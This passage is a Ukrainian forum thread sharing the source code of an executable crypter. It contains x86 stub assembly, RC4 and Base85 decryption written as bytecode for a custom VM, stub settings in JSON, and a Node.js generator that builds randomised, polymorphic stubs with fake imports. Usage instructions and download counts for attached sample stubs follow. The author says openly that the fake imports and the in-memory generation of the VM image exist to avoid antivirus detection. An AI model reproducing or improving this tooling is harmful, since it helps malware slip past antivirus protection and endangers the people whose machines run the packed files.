    mov     edx, DWord [ppass]
    push    PICOVM_FNC_DSPUSH
    pop     eax
    push    DWord [pvmctx]
    pop     ebx
    call    [ppicovm]
    push    DWord [cdcrsize]
    pop     edx
    push    PICOVM_FNC_DSPUSH
    pop     eax
    mov     ebx, DWord [pvmctx]
    call    [ppicovm]
    push    PICOVM_FNC_DSPUSH
    pop     eax
    mov     edx, DWord [pUnpackedData]
    mov     ebx, DWord [pvmctx]
    call    [ppicovm]
    mov     edx, DWord [palphabet]
    mov     ebx, DWord [pvmctx]
    push    PICOVM_FNC_DSPUSH
    pop     eax
    call    [ppicovm]
    mov     edx, DWord [pPackedData]
    push    DWord [pvmctx]
    pop     ebx
    push    PICOVM_FNC_DSPUSH
    pop     eax
    call    [ppicovm]
    push    PICOVM_FNC_RUN
    pop     eax
    push    DWord [ppcode]
    pop     edx
    call    [ppicovm]
    mov     edx, DWord [ppcode]
    mov     esi, DWord [pUnpackedData]
    call    esi
    pop     eax
    pop     ebx
    pop     ecx
    pop     edx
    pop     esi
    mov     eax, DWord [iResult]
    ret
endp

passbody:
 db 'Mq*hG$bm)iK%59a8', 0h

alphbody db \
0xB, 0xE, 0x21, 0x9, 0x39, 0x32, 0x2A, 0x13, 0x4B, 0x33, 0x2, 0x6, 0x22, 0x46, 0x25, 0x3F, \
0x10, 0x20, 0x1E, 0xC, 0x49, 0x17, 0xA, 0x45, 0x26, 0x28, 0x0, 0x16, 0x34, 0x2B, 0x2C, 0x35, \
0x4E, 0x1A, 0x15, 0x5, 0x4D, 0x42, 0x44, 0x2D, 0xF, 0x41, 0x4, 0x4A, 0x1, 0x50, 0x3D, 0xD, \
0x3B, 0x7, 0x3A, 0x3C, 0x14, 0x1B, 0x37, 0x4F, 0x48, 0x29, 0x8, 0x31, 0x24, 0x36, 0x47, 0x19, \
0x43, 0x27, 0x23, 0x51, 0x3, 0x1F, 0x18, 0x2E, 0x1D, 0x2F, 0x11, 0x54, 0x53, 0x3E, 0x52, 0x4C, \
0x30, 0x12, 0x40, 0x1C, 0x38

Файл, що містить властивості стабу в JSON форматі.

Одчинити
{"pass":{"place":3,"val":"Mq*hG$bm)iK%59a8"},"vm":{"place":1,"dstacksize":45,"rstacksize":24,"order":["ctx","vmbody","dstack","rstack"],"vmbodysize":999},"datapeimage":{"place":2,"resnum":0},"alphabet":{"place":3,"val":[11,14,33,9,57,50,42,19,75,51,2,6,34,70,37,63,16,32,30,12,73,23,10,69,38,40,0,22,52,43,44,53,78,26,21,5,77,66,68,45,15,65,4,74,1,80,61,13,59,7,58,60,20,27,55,79,72,41,8,49,36,54,71,25,67,39,35,81,3,31,24,46,29,47,17,84,83,62,82,76,48,18,64,28,56]},"pcode":{"place":2},"loadpe":{"requmem":4672,"depth":120,"offset":5969},"import":{"fncs":["GetStdHandle","VirtualAlloc","WriteFile","GetDC","BeginPaint","CreateMutexA","CreateMutexW","VirtualFree","GetLastError","GetModuleHandleA","GetModuleHandleW","GetSystemInfo","GetVersionExA","LocalAlloc","CharUpperA","CreateDialogParamA","CreateWindowExA","DefWindowProcA","DispatchMessageA","EndDialog","EndPaint","GetClassInfoExA","GetMessageA","GetSystemMetrics","LoadCursorA","LoadIconA","PostQuitMessage","RegisterClassExA","SendMessageA","SendMessageW","SetDlgItemInt","SetFocus","SetWindowTextW","ShowWindow","TranslateMessage","UpdateWindow","GetDIBits","CreateCompatibleBitmap","GdiFlush","CombineRgn","CreateRectRgnIndirect","GetRegionData","SetStretchBltMode","SelectObject","CreateCompatibleDC","CreateDIBitmap","BitBlt","SetBkMode","CreateFontIndirectA","DPtoLP","GetDeviceCaps","CreateFontA","StretchBlt","GetObjectA","SelectClipRgn","ExtTextOutA"]},"icon":{"resnum":789},"stackdepth":336,"datatime":1401827612838}

Деякі параметри там не нужні, а деякі нужні, но не там :D, тож мій код нічим не гірше Microsoft`івського коду :) Документуватиму так само - ті поля, про які я не скажу вважайте "зарезервованими" :D
"import.fncs": тут знаходяться дані про фейковий імпорт (а імпорт майже увесь фейковий, бо єдине що використовує стаб - це функція VirtualAlloc), який потрібний аби антивірус не казився.

Файл pcode.asm - алгоритми кодування і шифрування виконані в пікоді для програмної віртуальної машини (далі - ВМ). На рівні мови асемблера для ВМ обфускації майже нема, окрім обрання випадкової мнемоніки (з можливих варіантів і наявних мнемонік) для завантаження константи в стек.

Одчинити
format binary
use32

include '%FASMINC%/win32a.inc'
include 'picovm.inc'

macro @ cmd, p {
 PICOVM_CMD cmd, p
}

__Start__:
; [pS, ppass, crcdsize, pdst, alphabet, pcrcd]
    @ _LOADCD, 0x3
    @ _PICK
; [pS, ppass, crcdsize, pdst, alphabet, pcrcd, crcdsize]
    @ _LOADCB, 0x3
    @ _PICK
; [pS, ppass, crcdsize, pdst, alphabet, pcrcd, crcdsize, pdst]
    @ _SWAP
; [pS, ppass, crcdsize, pdst, alphabet, pcrcd, pdst, crcdsize]
    @ _LOADCD, BASE85-.toBase85
.toBase85:
    @ _CALLR
; [pS, ppass, crcdsize, pdst]
;   @ _HLT
    @ _SWAP
; [pS, ppass, pdst, crcdsize]
    @ _LOADCD, 0x5
    @ _DIV
    @ _LOADCW, 0x4
    @ _MUL
; [pS, lpKey, lpBuf, dwBufLen]
    @ _ROT
    @ _SWAP
; [pS, lpBuf, lpKey, dwBufLen]
    @ _LOADCW, 0x10
; [pS, lpBuf, lpKey, dwBufLen, dwKeyLen]
    @ _LOADCB, 0x4
    @ _ROLL
; [lpBuf, lpKey, dwBufLen, dwKeyLen, pS]
    @ _LOADCD, RC4-@F
@@:
    @ _CALLR
    @ _HLT

; [lpBuf, lpKey, dwBufLen, dwKeyLen, pS]
RC4:
@ _LOADCB, 0 ;B
@ _DUP ;A
@ _ROT
@ _SWAP
.for1_up:
@ _DUP
@ _LOADCW, 0x100;
@ _EQ
@ _NOT
@ _LOADCD, .for1_down-.tofor1_down
.tofor1_down:
@ _JMPC
@ _OVER
@ _OVER
@ _ADD
@ _OVER
@ _SWAP
@ _STOREB
@ _LOADCB, 0x1                           
@ _ADD
@ _LOADCD, .for1_up-.tofor1_up
.tofor1_up:
@ _JMPR
.for1_down:
@ _DROP
@ _LOADCB, 0x0
;[lpBuf, lpKey, dwBufLen, dwKeyLen, B, pS, A=0]
.for2_up:
@ _DUP
@ _LOADCW, 0x100
@ _EQ
@ _NOT
@ _LOADCD, .for2_down-.tofor2_down
.tofor2_down:
@ _JMPC
@ _OVER
@ _OVER
@ _ADD
@ _FETCHB
;[lpBuf, lpKey, dwBufLen, dwKeyLen, B, pS, A=0, pS[A]]
@ _LOADCB, 0x3
@ _PICK
@ _ADD 
;[lpBuf, lpKey, dwBufLen, dwKeyLen, B, pS, A=0, pS[A]+B]
@ _OVER
@ _LOADCB, 0x5
@ _PICK
@ _MOD
@ _LOADCB, 0x7
@ _PICK
@ _ADD
@ _FETCHB
;[lpBuf, lpKey, dwBufLen, dwKeyLen, B, pS, A=0, pS[A]+B, lpKey [A % dwKeyLen]]
@ _ADD
@ _LOADCB, 0xFF
@ _AND
;[lpBuf, lpKey, dwBufLen, dwKeyLen, B, pS, A=0, pS[A]+B+lpKey [A % dwKeyLen]]
@ _LOADCB, 0x3
@ _ROLL
@ _DROP
;[lpBuf, lpKey, dwBufLen, dwKeyLen, pS, A, B]
@ _ROT
;[lpBuf, lpKey, dwBufLen, dwKeyLen, A, B, pS]
@ _ROT
;[lpBuf, lpKey, dwBufLen, dwKeyLen, B, pS, A]
@ _OVER
@ _OVER
@ _ADD
;[lpBuf, lpKey, dwBufLen, dwKeyLen, B, pS, A, pS+A]
@ _LOADCB, 0x2
@ _PICK
;[lpBuf, lpKey, dwBufLen, dwKeyLen, B, pS, A, pS+A, pS]
@ _LOADCB, 0x4
@ _PICK
@ _ADD
;[lpBuf, lpKey, dwBufLen, dwKeyLen, B, pS, A, pS+A, pS+B]
@ _OVER
@ _FETCHB
@ _OVER
@ _FETCHB
@ _SWAP
@ _ROT
@ _STOREB
@ _SWAP
@ _STOREB
@ _LOADCB, 0x1
@ _ADD
@ _LOADCD, .for2_up-.tofor2_up
.tofor2_up:
@ _JMPR
.for2_down:
;[lpBuf, lpKey, dwBufLen, dwKeyLen, B, pS, A]
@ _ROT
;[lpBuf, lpKey, dwBufLen, dwKeyLen, pS, A, B]
@ _LOADCB, 0x3
@ _ROLL
@ _DROP
;[lpBuf, lpKey, dwBufLen, pS, A, B]
@ _LOADCB, 0x4
@ _ROLL
@ _DROP
@ _SWAP
;[lpBuf, dwBufLen, pS, B, A]
.for3_up:
@ _LOADCB, 0x3
@ _ROLL
@ _DUP
;[lpBuf, pS, B, A, dwBufLen, dwBufLen]
@ _LOADCD, .for3_down-.tofor3_down
.tofor3_down:
@ _JMPC
@ _LOADCB, 0x1
@ _SUB
;[lpBuf, pS, B, A, dwBufLen]
@ _SWAP
@ _LOADCB, 0x1
@ _ADD
@ _LOADCB, 0xFF
@ _AND
;[lpBuf, pS, A, dwBufLen, (A+1)%255]
@ _ROT
;[lpBuf, pS, dwBufLen, (A+1)%255, B]
@ _OVER
@ _LOADCB, 0x4
@ _PICK
@ _ADD
@ _FETCHB
@ _ADD
@ _LOADCB, 0xFF
@ _AND
@ _OVER
@ _OVER
@ _LOADCB, 0x5
@ _PICK
@ _ADD
@ _SWAP
@ _LOADCB, 0x5
@ _PICK
@ _ADD
@ _OVER
@ _OVER
;
@ _OVER
@ _FETCHB
@ _OVER
@ _FETCHB
@ _SWAP
@ _ROT
@ _STOREB
@ _SWAP
@ _STOREB
;
@ _FETCHB
@ _SWAP
@ _FETCHB
@ _ADD
@ _LOADCB, 0xFF
@ _AND
@ _LOADCB, 0x4
@ _PICK
@ _ADD
@ _FETCHB
@ _LOADCB, 0x5
@ _PICK
@ _FETCHB
@ _XOR
@ _LOADCB, 0x5
@ _PICK
@ _STOREB
@ _LOADCB, 0x4
@ _ROLL
@ _LOADCB, 0x1
@ _ADD
@ _ROT
@ _ROT
@ _LOADCB, 0x4
@ _ROLL
@ _LOADCB, 0x4
@ _ROLL
@ _LOADCB, 0x3
@ _ROLL
@ _LOADCB, 0x3
@ _ROLL
@ _LOADCB, 0x3
@ _ROLL
@ _ROT
@ _ROT
@ _SWAP
@ _LOADCD, .for3_up-.tofor3_up
.tofor3_up:
@ _JMPR
.for3_down:
@ _DROP
@ _DROP
@ _DROP
@ _DROP
@ _DROP
@ _RET

;[pAlphabet, pSrc] => [pSrc, DW]
DECODE_DWORD:
@ _LOADCB, 0
@ _OVER
@ _FETCHB
;[pAlphabet, pSrc, 0, [pSrc]]
@ _LOADCW, 0x3
@ _PICK
@ _SWAP
;[pAlphabet, pSrc, 0, Alphabet, [pSrc]]
@ _LOADCD, SEARCHB -.toSearchB1
.toSearchB1:
@ _CALLR
@ _ADD
@ _SWAP
@ _LOADCW, 0x1
@ _ADD
@ _SWAP
@ _OVER
@ _FETCHB
@ _LOADCD, 0x3
@ _PICK
@ _SWAP
@ _LOADCD, SEARCHB -.toSearchB2
.toSearchB2:
@ _CALLR
@ _LOADCB, 0x55
@ _MUL
@ _ADD
@ _SWAP
@ _LOADCB, 0x1
@ _ADD
@ _SWAP
@ _OVER
@ _FETCHB
@ _LOADCD, 0x3
@ _PICK
@ _SWAP
@ _LOADCD, SEARCHB -.toSearchB3
.toSearchB3:
@ _CALLR
@ _LOADCW, 85*85
@ _MUL
@ _ADD
@ _SWAP
@ _LOADCB, 0x1
@ _ADD
@ _SWAP
@ _OVER
@ _FETCHB
@ _LOADCD, 0x3
@ _PICK
@ _SWAP
@ _LOADCD, SEARCHB -.toSearchB4
.toSearchB4:
@ _CALLR
@ _LOADCD, 85*85*85
@ _MUL
@ _ADD
@ _SWAP
@ _LOADCW, 0x1
@ _ADD
@ _SWAP
@ _OVER
@ _FETCHB
@ _LOADCW, 0x3
@ _PICK
@ _SWAP
@ _LOADCD, SEARCHB -.toSearchB5
.toSearchB5:
@ _CALLR
@ _LOADCD, 85*85*85*85
@ _MUL
@ _ADD
@ _ROT
@ _DROP
@ _SWAP
@ _LOADCD, 0x1
@ _ADD
@ _SWAP
@ _RET

SEARCHB:
@ _OVER
@ _SWAP
.Up:
@ _OVER
@ _FETCHB
@ _OVER
;[pMem, pMem, bVal, [pMem], bVal]
@ _EQ
;[pMem, pMem, bVal, BOOL]
@ _NOT
@ _LOADCD, .Down-.toDown
.toDown:
@ _JMPC
@ _SWAP
@ _LOADCB, 0x1
@ _ADD
@ _SWAP
@ _LOADCD, .Up-.toUp
.toUp:
@ _JMPR
.Down:
@ _DROP
@ _SWAP
@ _SUB
@ _RET

; BASE85
;[pAlphabet, pSrc, pDst, Size]
BASE85:
@ _DUP
@ _LOADCW, 0x0
@ _EQ
@ _NOT
@ _LOADCD, .Down-.toDown
.toDown:
@ _JMPC
@ _LOADCB, 0x5
@ _SUB
@ _ROT
;[pAlphabet, pDst, Size, pSrc]
@ _LOADCW, 0x3
@ _PICK
;[pAlphabet, pDst, Size, pSrc, pAlphabet]
@ _SWAP
;[pAlphabet, pDst, Size, pAlphabet, pSrc]
@ _LOADCD, DECODE_DWORD-.toDecodeDWord
.toDecodeDWord:
@ _CALLR
;[pAlphabet, pDst, Size, pSrc, DW]
@ _LOADCW, 0x3
@ _PICK
;[pAlphabet, pDst, Size, pSrc, DW, pDst]
@ _STORED
;[pAlphabet, pDst, Size, pSrc]
@ _ROT
;[pAlphabet, Size, pSrc, pDst]
@ _LOADCD, 0x4
@ _ADD
@ _ROT
;[pAlphabet, pSrc, pDst, Size]
@ _LOADCD, BASE85-.toUp
.toUp:
@ _JMPR
.Down:
@ _DROP
@ _DROP
@ _DROP
@ _DROP
@ _RET

Також директорія стабу містить файли віртуальної машини: picovm.bin - шеллкод віртуальної машини, picovm.inc - заголовковий файл віртуальної машини, який необхідний також для компіляції програм для ВМ в пікод, entry.obj - "перехідник", що одержує керування від функції main і передає його до головної функції нашого стабу. Докладніше про ВМ ви можете ознайомитися тут. Варто зазначити, що шеллкод ВМ ніде не лежить у незмінному вигляді, бо його одразу ж задетектить антивірус і внесе до своєї бази сигнатур. Замість цього,  за створення образу ВМ в пам’яті відповідає функція genvmimage, яка "випадковим" чином генерується і унікальна для кажного стабу.

Долучені файли
В файлі  STUBS.EXAMPLE.zip містяться стаби, за допомогою яких пакуються файли.

Post's attachments

STUBS.EXAMPLE.zip 89.22 kb, 922 downloads since 2015-01-02 

Подякували: leofun011

3

Re: [Джерельний код] Криптор

Керівництво з використання криптора

Для пакування файлів за допомогою криптора, останній потрібно запустити з наступними параметрами:

ENCRYPT.CMD вхідний_виконуваний_файл вихідний_виконуваний_файл стабова_тека необов’язковий_параметер

Приклад використання:

ENCRYPT.CMD E:\SAMPLES\CALC.exe E:\CALC.E3.EXE E:\STUBS\E3 "PLUGINS?RESTORESEH|ICON?E:\SETUP.ICO"

Долучені файли
samples.executable.zip містить:

  • hello.exe - мініатюрний виконуваний файл (розміром півтора кілобайта), який показує спливне вікно

  • calc.exe - калькулятор для Winows XP

  • hello.crypted.*.exe - криптований hello.exe різними стабами

  • calc.crypted.*.exe - криптований calc.exe різними стабами

Post's attachments

samples.executable.zip 706.27 kb, 822 downloads since 2015-01-02 

Подякували: leofun011

4

Re: [Джерельний код] Криптор

Генератор стабів

Для того щоб створити новий стаб, запустіть CREATESTUB.CMD з наступними параметрами:

CREATESTUB.CMD SETTINGS.JSON STUBDIR

Файл settings.json використовується генератором стабів для задання параметів пакування. Його розширена версія зберігається в стабовій теці.

Одчинити
{
    "pass": {
        "place": 2,
        "val": "AjIx@pHJ[*U3M&eVjk9"
    },
    "vm": {
        "place": 1,
        "dstacksize": 56,
        "rstacksize": 63,
        "order": ["rstack", "dstack", "vmbody", "ctx"],
        "vmbodysize": 1024
    },
    "datapeimage": {
        "place": 2,
        "resnum": 0
    },
    "alphabet": {
        "place": 3,
        "val": [9, 39, 74, 67, 69, 62, 84, 38, 78, 37, 82, 19, 5, 71, 63, 23, 30, 33, 66, 44, 72, 80, 26, 46, 15, 25, 52, 24, 70, 22, 29, 34, 36, 50, 47, 6, 42, 35, 51, 59, 68, 45, 83, 55, 60, 12, 21, 41, 8, 54, 43, 77, 40, 73, 18, 48, 65, 3, 32, 11, 49, 75, 61, 14, 58, 31, 20, 16, 4, 57, 17, 7, 1, 13, 27, 2, 53, 76, 10, 64, 56, 79, 0, 28, 81]
    },
    "pcode": {
        "place": 3
    },
    "loadpe": {
        "requmem": 4672,
        "depth": 120,
        "offset": 6194
    },
    "import": {
        "fncs": ["GetStdHandle", "VirtualAlloc", "WriteFile", "Beep", "GetDC", "BeginPaint", "CreateMutexA", "CreateMutexW", "VirtualFree", "GetLastError", "GetModuleHandleA", "GetModuleHandleW", "GetSystemInfo", "GetVersionExA", "LocalAlloc", "CharUpperA", "CreateDialogParamA", "CreateWindowExA", "DefWindowProcA", "DispatchMessageA", "EndDialog", "EndPaint", "FindWindowA", "FindWindowW", "GetClassInfoExA", "GetMessageA", "GetSystemMetrics", "GetTopWindow", "LoadIconA", "PostQuitMessage", "RegisterClassExA", "RegisterWindowMessageA", "SendMessageA", "SetDlgItemInt", "SetFocus", "ShowWindow", "TranslateMessage", "UpdateWindow", "GetDIBits", "CreateCompatibleBitmap", "GdiFlush"]
    },
    "icon": {
        "resnum": 127
    }
}

файл createStub.js є головним файлом генератора стабів:

Одчинити
var fs = require('fs');
var _ = require('underscore');
var gd = require('./gendata.js');
var p = require('./platform.js');
var stt = require('./settings.js');

var tableAPI = {
  'GetStdHandle':1,
  'VirtualAlloc':4,
  'WriteFile':5,
  'Beep':2,
  'GetDC':1,
  'BeginPaint':2,
  'CreateMutexA':3,
  'CreateMutexW':3,
  'VirtualFree':3,
  'GetLastError':0,
  'GetModuleHandleA':1,
  'GetModuleHandleW':1,  
  'GetSystemInfo':1,
  'GetVersionExA':1,
  'GetVersionExW':1,
  'LocalAlloc':2,
  'CharUpperA':1,
  'CharUpperW':1,  
  'CreateDialogParamA':5,
  'CreateWindowExA':12,
  'CreateWindowExW':12,
  'DefWindowProcA':4,
  'DefWindowProcW':4,  
  'DispatchMessageA':1,
  'DispatchMessageW':1,
  'EndDialog':2,
  'EndPaint':2,  
  'FindWindowA':2,  
  'FindWindowW':2,  
  'GetClassInfoExA':3,    
  'GetClassInfoExW':3,   
  'GetMessageA':4,        
  'GetMessageW':4,      
  'GetSystemMetrics':1,
  'GetTopWindow':1,
  'LoadCursorA':2,
  'LoadCursorW':2,
  'LoadIconA':2,
  'LoadIconW':2,
  'PostQuitMessage':1,
  'RegisterClassExA':1,
  'RegisterClassExW':1,
  'RegisterWindowMessageA':1,
  'RegisterWindowMessageW':1,
  'SendMessageA':4,
  'SendMessageW':4,
  'SetDlgItemInt':4,
  'SetFocus':1,
  'SetWindowTextA':2,
  'SetWindowTextW':2,
  'ShowWindow':2,
  'TranslateMessage':1,
  'UpdateWindow':1,
  'GetDIBits':7,
  'CreateCompatibleBitmap':3,
  'RealizePalette':1,
  'SelectPalette':3,
  'CreatePalette':1,
  'GetSystemPaletteEntries':4,
  'GdiFlush':0,
  'CombineRgn':4,
  'CreateRectRgnIndirect':1,
  'GetRegionData':3,
  'SetStretchBltMode':2,
  'SelectObject':2,
  'CreateCompatibleDC':1,
  'CreateDIBitmap':6,
  'BitBlt':9,
  'SetBkMode':2,
  'CreateFontIndirectA':1,
  'DPtoLP':3,  
  'GetDeviceCaps':2,
  'CreateFontA':14,    
  'StretchBlt':11,
  'GetObjectA':3,  
  'GetObjectW':3,  
  'SelectClipRgn':2,
  'ExtTextOutA':8}

stt.readSettings(process.argv[2]+'\\settings.json');

var extern = 'extrn crdata\n';

extern += _.map(stt.settings.import.fncs, function(a) {
  return ("extrn '__imp__"+a+"@"+(tableAPI[a]*4).toString()+"' as "+a+":DWord");
}, this).join('\n');
  
Number.prototype.toHex = function() {
  return('0x'+this.toString(16).toUpperCase());
};
    
var PICOVM_CONTEXT_SIZE = 0x16;
var PICOVM_DATA_SIZE = (stt.settings.vm.rstacksize+stt.settings.vm.dstacksize)*0x4+PICOVM_CONTEXT_SIZE+stt.settings.vm.vmbodysize;

var strucvmdata = 'struct PICOVM_DATA\n' + _.map(stt.settings.vm.order, function(x) {
    return((x==='ctx')?'context PICOVM_CONTEXT ?':((x==='rstack')?'rstack dd '+stt.settings.vm.rstacksize.toHex()+' dup (?)':((x==='dstack')?'dstack dd '+stt.settings.vm.dstacksize.toHex()+' dup (?)':'picovm db '+stt.settings.vm.vmbodysize.toHex()+' dup (?)')));
  }).join('\n')+'\nends\n';
  
var offsetLoadPE = stt.settings.loadpe.requmem + PICOVM_DATA_SIZE ;
var STUB_STACK_SIZE;
var alphB85asm = 'alphbody db '+_.map(stt.settings.alphabet.val, function (x, y) {return((y%0x10?'':'\\\n')+x.toHex());}).join(', ')+'\n';
var arrDataSect = [];
var arrCodeSect = [];

var buffvm = fs.readFileSync(process.argv[2]+'\\picovm.bin');
var buffpcode = fs.readFileSync(process.argv[2]+'\\pcode.bin');
var ee = new p.ExecutionEnvironment('CryptMain', 'stdcall', []);

ee.vars.add('ppcode', 0x4);
ee.vars.add('ppass', 0x4);
ee.vars.add('ppicovm', 0x4);
ee.vars.add('pmem', 0x4);
ee.vars.add('pUnpackedData', 0x4);
ee.vars.add('S', 0x100);
ee.vars.add('pS', 0x4);
ee.vars.add('pPackedData', 0x4);
ee.vars.add('cdcrsize', 0x4);
ee.vars.add('pefilesize', 0x4);
ee.vars.add('pvmctx', 0x4);
ee.vars.add('palphabet', 0x4);
ee.vars.add('inpfsz', 0x4);

var head = 'format MS COFF\n\
use32\n\
include \'%FASMINC%\\win32a.inc\'\n\
include \'picovm.inc\'\n\n\
macro @ cmd, p {\n\
 PICOVM_CMD cmd, p\n}\n';

var codesect='section \'.text\' code readable executable\n\n';
arrCodeSect.push('proc genvmimage, pPicoVMImage\n'+ gd(buffvm, 'pPicoVMImage')+'    ret\nendp\n');

var datasect = 'section \'.data\' data readable writeable\n\n';

switch (stt.settings.pcode.place) {
  case stt.DATAPLACE_DATASECT:
    arrDataSect.push('pcode:\nfile \'pcode.bin\'\n'); 
    break;
  case stt.DATAPLACE_CODESECT:
    arrCodeSect.push('pcode:\nfile \'pcode.bin\'\n');
    break;
  case DATAPLACE_GENERATE:
    ee.vars.add('pcode', buffpcode.length); 
    break;
};
    
switch (stt.settings.pass.place) {
  case stt.DATAPLACE_GENERATE:
    var buffpass = new Buffer(stt.settings.pass.val + '\0');
    ee.vars.add('passbody', buffpass.length); 
    break;
  case stt.DATAPLACE_DATASECT:
    arrDataSect.push('passbody:\n db \''+stt.settings.pass.val+'\', 0h\n'); 
    break;
  case stt.DATAPLACE_CODESECT:
    arrCodeSect.push('passbody:\n db \''+stt.settings.pass.val+'\', 0h\n');
    break; 
};

switch (stt.settings.alphabet.place) {
  case stt.DATAPLACE_GENERATE:
    var buffalph = new Buffer(stt.settings.alphabet.val);
    ee.vars.add('alphbody', buffalph.length); 
    break;
  case stt.DATAPLACE_DATASECT:
    arrDataSect.push(alphB85asm); 
    break;
  case stt.DATAPLACE_CODESECT:
    arrCodeSect.push(alphB85asm);
    break; 
};

var i = 4;
                                            
while(true) {
  var z = _.shuffle(_.range(0xE));
  if ((z.indexOf(0)>z.indexOf(5))||(z.indexOf(0)>z.indexOf(6))||(z.indexOf(0)>z.indexOf(9))||(z.indexOf(0)>z.indexOf(7))) continue;
  _.each(z, function(x, y) {
    switch(x) {
      case 0:
        ee.emit(['stdcall', 'DWord [VirtualAlloc]', 'NULL', '0xACADBE71', 'MEM_TOP_DOWN or MEM_COMMIT or MEM_RESERVE', 'PAGE_EXECUTE_READWRITE']);
        ee.cmd('load_r32$m32', [p.REG_EAX, 'pmem']);
        break;
      case 1:
        ee.emit((stt.settings.pcode.place===stt.DATAPLACE_GENERATE)?gd(buffpcode, 'pcode', true):'');
        break;
      case 2:
        var rlea = ee.getFreeReg(p.LOCK_REG);
        ee.emit(['lea', rlea.s, '[pcode]']);
        ee.cmd('load_r32$m32', [rlea.i, 'ppcode']);
        rlea.o.unlock();
        break;
      case 3:
        ee.emit((stt.settings.pass.place===stt.DATAPLACE_GENERATE)?gd(buffpass, 'passbody', true):'');
        break;
      case 4:
        var rlea = ee.getFreeReg(p.LOCK_REG);
        ee.emit(['lea', rlea.s, '[passbody]']);
        ee.cmd('load_r32$m32', [rlea.i, 'ppass']);
        rlea.o.unlock();
        break;
      case 5:
        var rlea = ee.getFreeReg(p.LOCK_REG);
        if (stt.settings.vm.place === 1) {
          ee.cmd('load_m32$r32', ['pmem', rlea.i]);
          ee.emit(['lea', rlea.s, '[PICOVM_DATA.picovm+'+rlea.s+']']);
          ee.cmd('load_r32$m32', [rlea.i, 'ppicovm']);
        } else if (stt.settings.vm.place === 3) {
          ee.emit(['lea', rlea.s, '[vmbody]']);
          arrCodeSect.push("vmbody:\nfile '..\\picovm\\picovm.bin'\n"); 
        };
        if (_.random(1)){
          ee.emit(['stdcall', 'genvmimage', '[ppicovm]']);
        } else {
          ee.cmd('load_r32$m32', [rlea.i, 'ppicovm']);
          ee.emit(['stdcall', 'genvmimage', rlea.s]);
        }
        rlea.o.unlock();
        break;
      case 6:
        fillvmstruct(ee);
        break;
      case 7:
        var rlea = ee.getFreeReg(p.LOCK_REG);
        ee.cmd('load_m32$r32', ['pmem', rlea.i]);
        if (_.random(1)) {
          ee.emit(['lea', rlea.s, '['+rlea.s+'+PICOVM_DATA.context]']); }
        else {
          ee.emit(['add', rlea.s, 'PICOVM_DATA.context']); }
        ee.cmd('load_r32$m32', [rlea.i, 'pvmctx']);
        rlea.o.unlock();
        break;
      case 8:
        ee.emit(['lea', 'eax', '[crdata]']);
        ee.cmd('load_r32$m32', [p.REG_EAX, 'pPackedData']);
        break;
      case 9:
        var rlea = ee.getFreeReg(p.LOCK_REG);  
        ee.cmd('load_m32$r32', ['pmem', rlea.i]);
        ee.cmd('add_c32$r32', [offsetLoadPE, rlea.i]);
        ee.cmd('load_r32$m32', [rlea.i, 'pUnpackedData']);
        rlea.o.unlock();
        break;
      case 10:
        var rlea = ee.getFreeReg(p.LOCK_REG);  
        ee.emit(['lea', rlea.s, '[alphbody]']);
        ee.cmd('load_r32$m32', [rlea.i, 'palphabet']);
        rlea.o.unlock();
        break;
      case 11:
        ee.cmd('load_c32$m32', [0xAB7E6CA9, 'cdcrsize']);
        break;
      case 12:
        var rlea = ee.getFreeReg(p.LOCK_REG);
        ee.emit(['lea', rlea.s, '[s]']);
        ee.cmd('load_r32$m32', [rlea.i, 'pS']);
        rlea.o.unlock();
        break;
      case 13:
        ee.emit(gd(buffpass, 'alphbody', true));
        break;
  }; }, this);
  break;};
  _.each(['pS', 'ppass', 'cdcrsize', 'pUnpackedData', 'palphabet', 'pPackedData'], function (x) {
      eval(_.shuffle(["ee.cmd('load_c32$r32', ['PICOVM_FNC_DSPUSH', p.REG_EAX]);",
        "ee.cmd('load_m32$r32', [x, p.REG_EDX]);",
        "ee.cmd('load_m32$r32', ['pvmctx', p.REG_EBX]);"]).join('\n')); 
      ee.emit(['call', '[ppicovm]']);
    }, this);
  ee.cmd('load_c32$r32', ['PICOVM_FNC_RUN', p.REG_EAX]);
  ee.cmd('load_m32$r32', ['ppcode', p.REG_EDX]);
  ee.emit(['call', '[ppicovm]']);
  ee.cmd('load_m32$r32', ['ppcode', p.REG_EDX]);
  var rshc = ee.getFreeReg();
  ee.cmd('load_m32$r32', ['pUnpackedData', rshc.i]);
  ee.emit(['call', rshc.s]);

function random_load_c8$m8(e, c8, m8) {
    var r = _.random(1), rg;
    if (r) {
        rg = e.getFreeReg(p.LOCK_REG|p.USE_ONLY_GENERAL_REGS);
        e.cmd('load_c32$r32', [c8, rg.i]);
        e.emit(['mov', 'BYTE ['+m8+']', rg.o.name[3]]);
        rg.o.unlock();
    }  else {
        e.emit(['mov', 'BYTE ['+m8+']', c8.toHex()]);
    }
}

function fillvmstruct(e) {
  var rData = e.getFreeReg(p.LOCK_REG);
  var rDStack = e.getFreeReg(p.LOCK_REG);
  var rRStack = e.getFreeReg(p.LOCK_REG);
  e.cmd('load_m32$r32', ['pmem', rData.i]);
  while (true) {
    var z = _.shuffle(_.range(8));
    if ((z.indexOf(0)>z.indexOf(2))||(z.indexOf(0)>z.indexOf(4))||(z.indexOf(1)>z.indexOf(3))||(z.indexOf(1)>z.indexOf(5))) continue;
    _.each(z, function(x) {
      switch(x) {
        case 0: e.emit(['lea', rDStack.s, '['+rData.s+'+PICOVM_DATA.dstack]']); break;
        case 1: e.emit(['lea', rRStack.s, '['+rData.s+'+PICOVM_DATA.rstack]']); break;
        case 2: e.cmd('load_r32$m32', [rDStack.i, rData.s+'+PICOVM_DATA.context._dstack_top']); break;
        case 3: e.cmd('load_r32$m32', [rRStack.i, rData.s+'+PICOVM_DATA.context._rstack_top']); break;
        case 4: e.cmd('load_r32$m32', [rDStack.i, rData.s+'+PICOVM_DATA.context._dstack_begin']); break;
        case 5: e.cmd('load_r32$m32', [rRStack.i, rData.s+'+PICOVM_DATA.context._rstack_begin']); break;
        case 6: random_load_c8$m8(e, stt.settings.vm.dstacksize, rData.s+'+PICOVM_DATA.context._dstack_size'); break; 
        case 7: random_load_c8$m8(e, stt.settings.vm.rstacksize, rData.s+'+PICOVM_DATA.context._rstack_size'); break;
      }
    }, this);
    rData.o.unlock();
    rDStack.o.unlock();
    rRStack.o.unlock();
    break;
  };
}

ee.finalize();
DEPTH_RUNTIME_LIB = 0x88;
arrCodeSect.push('public CryptMain as \'_CryptMain@0\'\n\n'+ee.code);
var stubSrcCode = head+'\n'+extern+'\n'+strucvmdata+'\n'+datasect+_.shuffle(arrDataSect).join('\n')+'\n'+codesect+_.shuffle(arrCodeSect).join('\n');
